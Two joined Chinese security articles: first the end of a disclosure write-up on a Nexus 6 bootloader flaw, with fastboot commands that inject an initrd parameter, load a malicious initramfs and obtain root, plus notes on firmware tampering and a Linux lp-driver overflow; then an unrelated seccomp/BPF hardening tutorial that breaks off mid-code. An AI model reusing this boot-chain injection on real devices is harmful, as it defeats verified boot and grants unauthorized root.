OKAY [ 62.610s]
writing 'aleph'...
(bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 62.630s
请注意，出现错误信息是因为我们试图刷写固件，然而设备的确下载了这些数据。
我们通过fastboot continue启动了平台，然后使用[LiME
LKM](https://github.com/504ensicsLabs/LiME)工具将整个物理内存导出，从中搜寻我们上传的数据。
10FFFFC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10FFFFD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10FFFFE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10FFFFF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
11000000 30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 0123456789ABCDEF
11000010 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
11000020 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
11000030 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
11000040 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
11000050 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
因此我们知道，即使平台已经加载并运行起来，我们的载荷也能存活下来。我们多次重复了这个过程，没有任何差错出现，载荷始终加载到0x11000000这个地址，并且Linux内核总是可以使用这个地址。
出于好奇心，我们也使用静态分析方式验证了这个结果。事实证明，Nexus 6所使用的小型内核（Little
Kernel，LK）中，SCRATCH_ADDR指向了一块内存区域，下载的数据正是保存在这片区域中。我们使用IDA加载ABOOT程序，进一步确认了这个结果（为了便于阅读，我们重命名了函数）：
int fastboot_mode()
{
[...]
dprintf(1, "Entering fastboot moden");
[...]
v8 = return11000000();
v9 = return20000000();
fastboot_init(v8, v9);
v11 = sub_FF2EA94(v10);
if ( v13 != v10021C84 )
sub_FF3D784();
return sub_FF15BA4(v11);
}
signed int return11000000()
{
signed int result; // r0@1
result = 0x11000000;
if ( v10021C84 != v10021C84 )
sub_FF3D784();
return result;
}
该值最终被ABOOT的下载处理程序所使用。
总而言之，内存中的initramfs存档被填充到rootfs之前，物理内存的布局如下所示：
现在我们可以将自己的initramfs放到某个固定的物理地址上，然后指导内核填充它。
**十一、创建恶意的initramfs**
最后一个步骤就是创建我们的恶意initramfs。我们可以编译一个userdebug
AOSP启动镜像，删掉其中的initramfs.cpio.gz文件，因为这个文件包含su域以及一个root可用的adbd。只有dm-verity会发出唯一的警告，因为它无法验证官方的system分区（因为AOSP启动镜像会包含调试版的verity_key）。无论如何，既然我们现在可以加载一个恶意的initramfs，我们就可以修改fstab文件（删除验证过程），简单地绕过这个难题，或者我们可以将调试版的verity_key替换为相应的官方发行版。
读者可以从我们的[GitHub仓库](https://github.com/alephsecurity/research/tree/master/initroot)中找到用于PoC演示的initramfs。
**十二、获取root权限**
现在一切条件已经准备就绪：
1、我们有了一个恶意的initramfs存档。
2、我们可以使用fastboot接口，从固定的物理地址上将initramfs载入内存中。
3、我们可以引导Linux内核填充这个initramfs。
对于安全启动流程来说，信任关系已被破坏，如下所示：
成功的攻击过程如下所示：
$ adb shell
shamu:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ $ getenforce
Enforcing
shamu:/ $ setenforce permissive
setenforce: Couldn't set enforcing status to 'permissive': Permission denied
shamu:/ $ reboot bootloader
$ fastboot getvar unlocked
[...]
unlocked: no
finished. total time: 0.008s
$ fastboot oem config fsg-id "a initrd=0x11000000,1518172"
[...]
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x11000000,1518172
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.016s]
finished. total time: 0.016s
$ fastboot flash aleph malicious.cpio.gz
[...]
target reported max download size of 536870912 bytes
sending 'aleph' (1482 KB)...
OKAY [ 0.050s]
writing 'aleph'...
(bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 0.054s
$ fastboot continue
[...]
resuming boot...
OKAY [ 0.007s]
finished. total time: 0.007s
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
shamu:/ # getenforce
Enforcing
shamu:/ # setenforce permissive
shamu:/ # getenforce
Permissive
shamu:/ #
**十三、超越initramfs：固件注入**
现在我们已经完全控制了rootfs，我们可以创建一个恶意的/vendor目录，这个目录通常会包含当前设备可用的各种SoC固件镜像：
shamu:/ # ls /vendor/firmware
VRGain.bin adsp.b03 adsp.b11 bcm20795_firmware.ncd left.boost.music.eq left.boost_n1b12.patch right.boost.ringtone.eq right.boost_ringtone_table.preset venus.mdt
a420_pfp.fw adsp.b04 adsp.b12 bcm4354A2.hcd left.boost.ringtone.config left.boost_n1c2.patch right.boost.speaker right.boost_voice_table.preset widevine.b00
a420_pm4.fw adsp.b05 adsp.mdt cy8c20247_24lkxi.hex left.boost.ringtone.eq left.boost_ringtone_table.preset right.boost.voice.config venus.b00 widevine.b01
acdb.mbn adsp.b06 aonvr1.bin fw_bcmdhd.bin left.boost.speaker left.boost_voice_table.preset right.boost.voice.eq venus.b01 widevine.b02
adsp.b00 adsp.b07 aonvr2.bin fw_bcmdhd_apsta.bin left.boost.voice.config right.boost.music.config right.boost_music_table.preset venus.b02 widevine.b03
adsp.b01 adsp.b08 atmel-a432-14061601-0102aa-shamu-p1.tdat keymaster left.boost.voice.eq right.boost.music.eq right.boost_n1b12.patch venus.b03 widevine.mdt
adsp.b02 adsp.b10 atmel-a432-14103001-0103aa-shamu.tdat left.boost.music.config left.boost_music_table.preset right.boost.ringtone.config right.boost_n1c2.patch venus.b04
内核驱动通常会在初始化是使用这些镜像，并在需要的时候更新他们的SoC副本。因此，攻击者可以写入未签名的固件镜像。我们没有确认这种攻击场景是否有效，但根据我们对其他设备的经验，这种场景应该是没问题的。对于签名的固件来说，攻击者可以利用这种方式实现降级攻击。此外，调制解调器固件位于/firmware/image目录下，理论上讲，我们可以通过修改这个目录（如下所示）完成类似攻击。同样，我们也没有去验证设备是否存在某种完整性检查机制，以及设备是否会受到降级攻击，我们可以在未来工作中研究这个问题。
shamu:/ # umount -f /firmware
shamu:/ # mount /dev/block/mmcblk0p1 /firmware -o rw
shamu:/ # ls /firmware/image
acdb.mbn bdwlan20.bin cmnlib.b03 efs1.bin isdbtmm.b01 mba_9225.mbn.gz playready.b00 playready.mdt prov.b03 qwlan11.bin sampleapp.b00 sampleapp.mdt securemm.b01 tqs.b00 tqs.mdt utf20.bin
apps_9225.mbn.gz cmnlib.b00 cmnlib.mdt efs2.bin isdbtmm.b02 mba_9625.mbn.gz playready.b01 prov.b00 prov.mdt qwlan20.bin sampleapp.b01 sbl1_9225.mbn.gz securemm.b02 tqs.b01 tz_9225.mbn.gz
apps_9625.mbn.gz cmnlib.b01 dsp2_9225.mbn.gz efs3.bin isdbtmm.b03 otp11.bin playready.b02 prov.b01 qdsp6sw_9225.mbn.gz rpm_9225.mbn.gz sampleapp.b02 sbl1_9625.mbn.gz securemm.b03 tqs.b02 tz_9625.mbn.gz
bdwlan11.bin cmnlib.b02 dsp2_9625.mbn.gz isdbtmm.b00 isdbtmm.mdt otp20.bin playready.b03 prov.b02 qdsp6sw_9625.mbn.gz rpm_9625.mbn.gz sampleapp.b03 securemm.b00 securemm.mdt tqs.b03 utf11.bin
shamu:/ # echo foo > /firmware/image/foo
shamu:/ # cat /firmware/image/foo
foo
**十四、Google的补丁**
Google在2017年5月的[安全公告](http://7%E5%B9%B45%E6%9C%88%E7%9A%84%E5%AE%89%E5%85%A8%E5%85%AC%E5%91%8A%E4%B8%AD%E5%8F%91%E5%B8%83%E4%BA%86%E8%BF%99%E4%B8%AA)中发布了这个漏洞的补丁。N6F27C版系统中Bootloader版本已升级至moto-apq8084-72.03，这版Bootloader会对fsg-id、carrier以及console的配置参数进行过滤处理：
$ fastboot oem config fsg-id "foo foo=1"
[...]
$ fastboot oem config carrier "bar bar=1"
[...]
$ fastboot oem config carrier "baz baz=1"
[...]
$ fastboot oem config
[android@aosp:/aosp/source/android-7.1.1_r40]$ fastboot oem config
[...]
(bootloader) <UTAG name="carrier" type="str" protected="false">
(bootloader) <value>
(bootloader) bar
(bootloader) </value>
(bootloader) <description>
(bootloader) Carrier IDs, see http://goo.gl/lojLh3
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="console" type="str" protected="false">
(bootloader) <value>
(bootloader) baz
(bootloader) </value>
(bootloader) <description>
(bootloader) Config kernel console log
(bootloader) enable|true - enable with default settings
(bootloader) disable|false - disable
(bootloader) <config string> - enable with customized settings
(bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) foo
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>]
**十五、题外话：Linux内核越界写入漏洞（CVE-2017-1000363）**
在本次研究过程中，我们意外发现了另一个漏洞（[CVE-2017-1000363](https://alephsecurity.com/vulns/aleph-2017023)），这是Linux内核中的一个越界写入漏洞，历史非常久远（从2.2.0版本起就已经存在！）。漏洞位于lp驱动中（因此内核参数需为CONFIG_PRINTER=y），当许多lp=none参数被附加到内核命令行中时该漏洞就会被触发：
static int parport_nr[LP_NO] = { [0 ... LP_NO-1] = LP_PARPORT_UNSPEC };
[...]
#ifndef MODULE
static int __init lp_setup (char *str)
{
static int parport_ptr;
[...]
} else if (!strcmp(str, "none")) {
parport_nr[parport_ptr++] = LP_PARPORT_NONE;
}
[...]
}
#endif
[...]
__setup("lp=", lp_setup);
相应的[补丁](https://alephsecurity.com/vulns/aleph-2017023)已经提交到主线内核上。 | 社区文章 |
本文详细介绍了关于seccomp的相关概念，包括seccomp的发展历史、Seccomp
BPF的实现原理已经与seccomp相关的一些工具等。此外，通过实例验证了如何使用seccomp bpf 来保护Docker的安全。
# 简介
seccomp（全称securecomputing mode）是linux
kernel支持的一种安全机制。在Linux系统里，大量的系统调用（systemcall）直接暴露给用户态程序。但是，并不是所有的系统调用都被需要，而且不安全的代码滥用系统调用会对系统造成安全威胁。通过seccomp，我们限制程序使用某些系统调用，这样可以减少系统的暴露面，同时是程序进入一种“安全”的状态。
## Seccomp 的发展历史
2005年，Linux
2.6.12中的引入了第一个版本的seccomp，通过向`/proc/PID/seccomp`接口中写入“1”来启用过滤器，最初只有一个模式：严格模式（strict
mode），该模式下只允许被限制的进程使用4种系统调用： _read()_ , _write()_ , __exit()_ , 和
_sigreturn()_
，需要注意的是，`open()`系统调用也是被禁止的，这就意味着在进入严格模式之前必须先打开文件。一旦为程序施加了严格模式的seccomp，对于其他的所有系统调用的调用，都会触发`SIGKILL`并立即终止进程。
2007年，Linux 2.6.23 内核使用`prctl（）`操作代替了`/proc/PID/seccomp`接口来施加seccomp，通过`Prctl
(PR_SET_SECCOMP,arg)`修改调用者的seccomp模式；`prctl(PR_GET_SECCOMP)`用来获取seccomp的状态，返回值为0时代表进程没有被施加seccomp，但是如果进程配置了seccomp，则会由于不能调用`prctl(）`导致进程中止，那就没有其他返回值了？？
2012年，Linux 3.5引入了”seccomp mode 2“，为seccomp带来了一种新的模式：过滤模式（ filter mode ），
该模式使用 Berkeley 包过滤器 (BPF) 程序过滤任意系统调用及其参数,使用该模式，进程可以使用 `prctl (PR_SET_SECCOMP,
SECCOMP_MODE_FILTER, ...)`来指定允许哪些系统调用。 现在已经有许多应用使用 seccomp 过滤器来对系统调用进行控制，包括
Chrome/Chromium 浏览器、OpenSSH、vsftpd 和 Firefox OS 。
2013年，Linux 3.8版本，在`/proc/PID/status`中添加了一个Seccomp字段， 可以通过读取该文件获取对应进程的 seccomp
模式的状态（0 表示禁用，1 表示严格，2 表示过滤）。
/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED 0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */
null@ubuntu:~/seccomp$ cat /proc/1/status | grep Seccomp
Seccomp: 0
2014年，Linux 3.17 引入了`seccomp()`系统调用，`seccomp()`在`prctl()`的基础上提供了现有功能的超集，
增加了将进程中的所有线程同步到同一组过滤器的能力，这有助于确保即使在施加seccomp过滤器之前创建的线程仍然有效。
## Seccomp + BPF
seccomp 过滤模式允许开发人员编写 BPF
程序来确定是否允许给定的系统调用，基于系统调用号和参数（寄存器）值进行过滤。当使用`seccomp()`或`prctl()`对进程施加seccomp
时，需要提前将编写好的BPF程序安装到内核，之后每次系统调用都会经过该过滤器。而且此过程是不可逆的， 因为安装过滤器实际上是声明任何后续执行的代码都不可信。
BPF在1992年的tcpdump程序中首次提出，tcpdump是一个网络数据包的监控工具，
但是由于数据包的数量很大，而且将内核空间捕获到的数据包传输到用户空间会带来很多不必要的性能损耗，所以要对数据包进行过滤，只保留感兴趣的那一部分，而在内核中过滤感兴趣的数据包比在用户空间中进行过滤更有效。BPF
就是提供了一种进行内核过滤的方法，因此用户空间只需要处理经过内核过滤的后感兴趣的数据包 。
BPF定义了一个可以在内核内实现的虚拟机(VM)。该虚拟机有以下特性：
> * 简单指令集
> * 小型指令集
> * 所有的指令大小相同
> * 实现过程简单、快速
> * 只有分支向前指令
> * 程序是有向无环图(DAGs)，没有循环
> * 易于验证程序的有效性/安全性
> * 简单的指令集⇒可以验证操作码和参数
> * 可以检测死代码
> * 程序必须以 Return 结束
> * BPF过滤器程序仅限于4096条指令
>
BPF 程序在Linux内核中主要在`filter.h`和`bpf_common.h`中实现，主要的数据结构包括以下几个：
Linux v5.18.4/include/uapi/linux/filte.h ->
[sock_fprog](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/filter.h#L24)
struct sock_fprog { /* Required for SO_ATTACH_FILTER. */
unsigned short len; /* BPF指令的数量 */
struct sock_filter __user *filter; /*指向BPF数组的指针 */
};
这个结构体记录了过滤规则个数与规则数组起始位置 , 而 filter 域指向了具体的规则，每一条规则的形式如下：
Linux v5.18.4/include/uapi/linux/filte.h ->
[sock_filter](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/filter.h#L24)
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
该规则有四个参数，code：过滤指令；jt:条件真跳转；jf：条件假跳转；k：操作数
BPF的指令集比较简单，主要有以下几个指令：
> * 加载指令
> * 存储指令
> * 跳转指令
> * 算术逻辑指令
> * 包括：ADD、SUB、 MUL、 DIV、 MOD、 NEG、OR、 AND、XOR、 LSH、 RSH
> * Return 指令
> * 条件跳转指令
> * 有两个跳转目标，jt为真，jf为假
> * jmp 目标是指令偏移量，最大 255
>
如何编写BPF程序呢？BPF指令可以手工编写，但是，开发人员定义了符号常量和两个方便的宏`BPF_STMT`和`BPF_JUMP`可以用来方便的编写BPF规则。
Linux v5.18.4/include/uapi/linux/filte.h ->
[BPF_STMT&BPF_JUMP](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/filter.h#L45)
/*
* Macros for filter block array initializers.
*/
#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif
* **BPF_STMT**
`BPF_STMT`有两个参数，操作码(code)和值(k)，举个例子：
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data, arch)))
这里的操作码是由三个指令相或组成的，`BPF_LD`: 建一个 BPF 加载操作 ；`BPF_W`:操作数大小是一个字，`BPF_ABS`:
使用绝对偏移，即使用指令中的值作为数据区的偏移量,该值是体系结构字段与数据区域的偏移量 。`offsetof()`生成数据区域中期望字段的偏移量。
该指令的功能是将体系架构数加载到累加器中。
* **BPF_JUMP**
`BPF_JUMP` 中有四个参数：操作码、值(k)、为真跳转(jt)和为假跳转(jf)，举个例子：
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K ,AUDIT_ARCH_X86_64 , 1, 0)
`BPF_JMP | BPF
JEQ`会创建一个相等跳转指令，它将指令中的值（即第二个参数AUDIT_ARCH_X86_64）与累加器中的值（BPF_K）进行比较。判断是否相等，也就是说，如果架构是
x86-64，则跳过下一条指令（jt=1，代表测试为真跳过一条指令），否则将执行下一条指令（jf=0，代表如果测试为假，则跳过0条指令，也就是继续执行下一条指令）。
上面这两条指令常用作系统架构的验证。
再举个实际例子，该示例用作过滤execve系统调用的过滤规则：
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //将帧的偏移0处，取4个字节数据，也就是系统调用号的值载入累加器
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), //当A == 59时，顺序执行下一条规则，否则跳过下一条规则，这里的59就是x64的execve系统调用号
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //返回KILL
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), //返回ALLOW
};
在[bpf_common.h](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/bpf_common.h#L7)中给出了`BPF_STMT`和`BPF_JUMP`相关的操作码:
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _UAPI__LINUX_BPF_COMMON_H__
#define _UAPI__LINUX_BPF_COMMON_H__
/* Instruction classes */
#define BPF_CLASS(code) ((code) & 0x07) //指定操作的类别
#define BPF_LD 0x00 //将值复制到累加器中
#define BPF_LDX 0x01 //将值加载到索引寄存器中
#define BPF_ST 0x02 //将累加器中的值存到暂存器
#define BPF_STX 0x03 //将索引寄存器的值存储在暂存器中
#define BPF_ALU 0x04 //用索引寄存器或常数作为操作数在累加器上执行算数或逻辑运算
#define BPF_JMP 0x05 //跳转
#define BPF_RET 0x06 //返回
#define BPF_MISC 0x07 // 其他类别
/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18)
#define BPF_W 0x00 /* 32-bit */ //字
#define BPF_H 0x08 /* 16-bit */ //半字
#define BPF_B 0x10 /* 8-bit */ //字节
/* eBPF BPF_DW 0x18 64-bit */ //双字
#define BPF_MODE(code) ((code) & 0xe0)
#define BPF_IMM 0x00 //常数
#define BPF_ABS 0x20 //固定偏移量的数据包数据(绝对偏移)
#define BPF_IND 0x40 //可变偏移量的数据包数据(相对偏移)
#define BPF_MEM 0x60 //暂存器中的一个字
#define BPF_LEN 0x80 //数据包长度
#define BPF_MSH 0xa0
/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0) //当操作码类型为ALU时，指定具体运算符
#define BPF_ADD 0x00
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0
//当操作码是jmp时指定跳转类型
#define BPF_JA 0x00
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00 //常数
#define BPF_X 0x08 //索引寄存器
#ifndef BPF_MAXINSNS
#define BPF_MAXINSNS 4096
#endif
#endif /* _UAPI__LINUX_BPF_COMMON_H__ */
与seccomp相关的定义大多数在`seccomp.h`中定义。
一旦为程序配置了seccomp-BPF，每个系统调用都会经过seccomp过滤器，这在一定程度上会影响系统的性能。此外，Seccomp过滤器会向内核返回一个值，指示是否允许该系统调用，该返回值是一个
32 位的数值，其中最重要的 16 位（SECCOMP_RET_ACTION掩码）指定内核应该采取的操作，其他位（SECCOMP_RET_DATA
掩码）用于返回与操作关联的数据 。
/*
* All BPF programs must return a 32-bit value.
* The bottom 16-bits are for optional return data.
* The upper 16-bits are ordered from least permissive values to most,
* as a signed value (so 0x8000000 is negative).
*
* The ordering ensures that a min_t() over composed return values always
* selects the least permissive choice.
*/
#define SECCOMP_RET_KILL_PROCESS 0x80000000U /* kill the process */
#define SECCOMP_RET_KILL_THREAD 0x00000000U /* kill the thread */
#define SECCOMP_RET_KILL SECCOMP_RET_KILL_THREAD
#define SECCOMP_RET_TRAP 0x00030000U /* disallow and force a SIGSYS */
#define SECCOMP_RET_ERRNO 0x00050000U /* returns an errno */
#define SECCOMP_RET_USER_NOTIF 0x7fc00000U /* notifies userspace */
#define SECCOMP_RET_TRACE 0x7ff00000U /* pass to a tracer or disallow */
#define SECCOMP_RET_LOG 0x7ffc0000U /* allow after logging */
#define SECCOMP_RET_ALLOW 0x7fff0000U /* allow */
/* Masks for the return value sections. */
#define SECCOMP_RET_ACTION_FULL 0xffff0000U
#define SECCOMP_RET_ACTION 0x7fff0000U
#define SECCOMP_RET_DATA 0x0000ffffU
* SECCOMP_RET_ALLOW：允许执行
* SECCOMP_RET_KILL：立即终止执行
* SECCOMP_RET_ERRNO：从系统调用中返回一个错误（系统调用不执行）
* SECCOMP_RET_TRACE：尝试通知ptrace()， 使之有机会获得控制权
* SECCOMP_RET_TRAP：通知内核发送SIGSYS信号（系统调用不执行）
每一个seccomp-BPF程序都使用[seccomp_data](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/seccomp.h#L63)结构作为输入参数：
[/](https://elixir.bootlin.com/linux/latest/source)[include](https://elixir.bootlin.com/linux/latest/source/include)/[uapi](https://elixir.bootlin.com/linux/latest/source/include/uapi)/[linux](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux)/[seccomp.h](https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/seccomp.h)
:
struct seccomp_data {
int nr ; /* 系统调用号（依赖于体系架构） */
__u32 arch ; /* 架构（如AUDIT_ARCH_X86_64） */
__u64 instruction_pointer ; /* CPU指令指针 */
__u64 args [6]; /* 系统调用参数，最多有6个参数 */
};
# 实现
## Prctl()
[**prctl**](https://man7.org/linux/man-pages/man2/prctl.2.html)
函数是为进程制定而设计的，该函数原型如下
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
其中明确指定哪种种操作在于option选项， option有很多，与seccomp有关的option主要有两个：
`PR_SET_NO_NEW_PRIVS()`和`PR_SET_SECCOMP()`。
* **PR_SET_NO_NEW_PRIVS()** ：是在Linux 3.5 之后引入的特性，当一个进程或者子进程设置了PR_SET_NO_NEW_PRIVS 属性,则其不能访问一些无法共享的操作，如setuid、chroot等。配置seccomp-BPF的程序必须拥有Capabilities 中 的`CAP_SYS_ADMIN`，或者程序已经定义了`no_new_privs`属性。 若不这样做 非 root 用户使用该程序时 `seccomp`保护将会失效，设置了 `PR_SET_NO_NEW_PRIVS` 位后能保证 `seccomp` 对所有用户都能起作用
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
如果将其第二个参数设置为1，则这个操作能保证seccomp对所有用户都能起作用，并且会使子进程即`execve`后的进程依然受到seccomp的限制。
* **PR_SET_SECCOMP()** ： 为进程设置seccomp； 通常的形式如下
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
SECCOMP_MODE_FILTER参数表示设置的seccomp的过滤模式，如果设置为`SECCOMP_MODE_STRICT`，则代表严格模式；若为过滤模式，则对应的系统调用限制通过`&prog`结构体定义（上面提到过的
`struct sock_fprog`）。
**严格模式的简单示例**
在严格模式下，进程可用的系统调用只有4个，因为`open()`也被禁用，所有在进入严格模式前，需要先打开文件，简单的示例如下：
> seccomp_strict.c：
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
void configure_seccomp() {
printf("Configuring seccomp\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
}
int main(int argc, char* argv[]) {
int infd, outfd;
ssize_t read_bytes;
char buffer[1024];
if (argc < 3) {
printf("Usage:\n\tdup_file <input path> <output_path>\n");
return -1;
}
configure_seccomp(); /* 配置seccomp */
printf("Opening '%s' for reading\n", argv[1]);
if ((infd = open(argv[1], O_RDONLY)) > 0) { /* open() 被禁用，进程会在此终止*/
printf("Opening '%s' for writing\n", argv[2]);
if ((outfd = open(argv[2], O_WRONLY | O_CREAT, 0644)) > 0) {
while((read_bytes = read(infd, &buffer, 1024)) > 0)
write(outfd, &buffer, (ssize_t)read_bytes);
}
}
close(infd);
close(outfd);
return 0;
}
代码功能实现简单的文件复制，当seccomp施加严格模式的时候运行时，seccomp 会在执行`open(argv[1],
O_RDONLY)`函数调用时终止应用程序 。
null@ubuntu:~/seccomp$ gcc -o seccomp_strict seccomp_strict.c
null@ubuntu:~/seccomp$ ./seccomp_strict /etc/passwd output
Configuring seccomp
Opening '/etc/passwd' for reading
Killed
**过滤模式的简单示例**
通过上面的介绍和程序流，如果我们想要为一个程序施加seccomp-BPF策略，那可以分为以下几个步骤，首先定义filter数组，之后定义prog参数，最后使用prctl施加策略。
示例一：禁止execve系统调用
> seccomp_filter_execv.c:
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //将帧的偏移0处，取4个字节数据，也就是系统调用号的值载入累加器
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), //判断系统调用号是否为59，是则顺序执行，否则跳过下一条
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //返回KILL
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), //返回ALLOW
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),//规则条数
.filter = filter, //结构体数组指针
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); //设置NO_NEW_PRIVS
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
write(0,"test\n",5);
system("/bin/sh");
return 0;
}
示例二：
> seccomp_filter.c:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
void configure_seccomp() {
struct sock_filter filter [] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))), //将系统调用号载入累加器
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_write, 0, 1), //测试系统调用号是否匹配'__NR__write',如果是允许其他syscall，如果不是则跳过下一条指令，
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 0, 3),//测试是否为'__NR_open',不是直接退出，
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, args[1]))),//第二个参数送入累加器
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, O_RDONLY, 0, 1),//判断是否是'O_RDONLY'的方式，是则允许
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof (filter[0])),
.filter = filter,
};
printf("Configuring seccomp\n");
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
int main(int argc, char* argv[]) {
int infd, outfd;
ssize_t read_bytes;
char buffer[1024];
if (argc < 3) {
printf("Usage:\n\tdup_file <input path> <output_path>\n");
return -1;
}
printf("Ducplicating file '%s' to '%s'\n", argv[1], argv[2]);
configure_seccomp(); //配置seccomp
printf("Opening '%s' for reading\n", argv[1]);
if ((infd = open(argv[1], O_RDONLY)) > 0) {
printf("Opening '%s' for writing\n", argv[2]);
if ((outfd = open(argv[2], O_WRONLY | O_CREAT, 0644)) > 0) {
while((read_bytes = read(infd, &buffer, 1024)) > 0)
write(outfd, &buffer, (ssize_t)read_bytes);
}
}
close(infd);
close(outfd);
return 0;
}
在这种情况下， 在这种情况下，seccomp-BPF 程序将允许使用 `O_RDONLY` 参数打开第一个调用 , 但是在使用 `O_WRONLY |
O_CREAT` 参数调用 open 时终止程序。
$ ./seccomp_filter /etc/passwd output
Ducplicating file '/etc/passwd' to 'output'
Configuring seccomp
Opening '/etc/passwd' for reading
Opening 'output' for writing
Bad system call
## libseccomp
项目地址：libseccomp：<https://github.com/seccomp/libseccomp>
基于`prctl()`函数的机制不够灵活，`libseccomp`库可以提供一些函数实现prctl类似的效果，库中封装了一些函数，可以不用了解BPF规则而实现过滤。但是在c程序中使用它，需要装一些库文件：
null@ubuntu:~/seccomp$ sudo apt install libseccomp-dev libseccomp2 seccomp
使用示例：
> simple_syscall_seccomp.c：
//gcc -g simple_syscall_seccomp.c -o simple_syscall_seccomp -lseccomp
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
int main(void){
scmp_filter_ctx ctx;
